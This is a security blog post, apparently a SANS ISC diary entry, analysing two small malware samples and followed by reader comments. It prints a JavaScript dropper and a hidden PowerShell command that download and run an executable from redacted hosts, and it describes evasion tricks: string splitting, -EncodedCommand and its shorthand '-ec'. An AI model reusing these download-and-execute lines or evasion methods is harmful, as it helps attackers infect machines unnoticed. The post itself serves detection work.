Diverting built-in features for the bad

Published: 2017-03-30
Last Updated: 2017-03-30 07:50:59 UTC
by Xavier Mertens (Version: 1)
4 comment(s)

Sometimes you may find very small pieces of malicious code. Yesterday, I caught this very small Javascript sample with only 2 lines of code:

var d=new ActiveXObject(‘Shell.NormandApplication’.replace(‘Normand’, ‘’));
d.ShellExecute(“PowerShell”,”((New-Object System.Net.WebClient).DownloadFile(‘http://[redacted].exe', ‘xwing.pif’);Start-Process ‘xwing.pif’”,””,””,0);

There is no real obfuscation here, just a trick to avoid the detection of the string ‘Shell.Application’ which often searched by automated tools…

Sometimes, there is no need to implement complex code to bypass detection. A good example comes with PowerShell which has the following cool feature: EncodedCommand[1].

Accepts a base-64-encoded string version of a command. Use this parameter to submit commands to Windows PowerShell that require complex quotation marks or curly braces.

Here is a sample that I also detected yesterday (the lines have been truncated for the readability):

poWERShElL.Exe -ExECutioNPolicy bYpAsS -NOPrOFiLe -WindOwsTyLe HiddEN -enCodEdCoMMANd \

The decoded Base64 string is:

(nEw-objecT SySTem.Net.WEbCliENt).DowNLoaDFIlE(  https://[redacted]/images/Scan_2.exe  ,  $env:TEmP\output.exe  ) ; inVokE-ExPResSIoN  $ENv:tEMP\output.exe

Nothing fancy, easy to decode but this trick will bypass most of the default security controls. A good idea is to fine tune your regular expressions and filters to catch the "-encodedcommand" string (and ignore the case).

Note that the PE file is downloaded via HTTPS!

[1] https://blogs.msdn.microsoft.com/timid/2014/03/26/powershell-encodedcommand-and-round-trips/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant

4 comment(s)


>A good idea is to fine tune your regular expressions and filters to catch the "-encodedcommand" string (and ignore the case).

Also worth note:


"There are 15 different iterations to shorthand EncodedCommand which defenders will typically attempt to key off on. One of the most unknown ones is “-ec” which is shorthanded for “-encodedcommand”. Shorthand encodedcommand that should be added to detection rules below:

Good point! Thanks for sharing!
Hi Xavier,

Did you mean to redact the domain in the base64? I figure I am not the only one that decoded it...
Nope, the goal was to prevent the domain to be indexed by bots etc.

Diary Archives